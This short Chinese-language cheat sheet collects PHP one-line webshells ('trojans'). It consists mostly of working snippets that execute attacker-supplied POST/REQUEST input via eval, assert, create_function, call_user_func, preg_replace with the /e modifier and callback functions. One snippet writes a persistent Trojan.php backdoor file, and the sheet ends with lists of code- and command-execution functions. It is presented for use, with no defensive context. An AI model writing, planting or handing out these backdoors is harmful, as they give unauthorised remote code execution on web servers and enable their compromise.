PHP常用一句话木马整理

eval函数

<?php
@eval($_REQUEST['test']);
?>

assert 函数

<?php assert(@$_POST['test']); ?>

function

<?php
function test1($code){
	$code($_REQUEST['test']);
}
test1(assert);
?>

create_function函数

<?php 
$fun = create_function('',$_POST['test']);
$fun();
?>

call_user_func函数

<?php
@call_user_func(assert,$_POST['test']);
?>

preg_replace 函数

如果在表达式末尾加上e，则可以执行代码

<?php 
@preg_replace("/abcde/e", $_POST['test'], "abcdefg");
?>

file_put_content函数

<?php
$test='<?php $a=$_POST["test"];assert($a); ?>';
file_put_contents("Trojan.php", $test);
?>

回调函数

<?php
    forward_static_call_array(assert,array($_POST[x]));
?>

常用代码执行函数

• assert()
• array_map()
• call_user_func_array()
• array_filter()
• uasort()

常用命令执行函数

• system()
• passthru()
• exec()
• pcntl_exec()
• shell_exec()
• popen()
• proc_opne()
• ``
• $()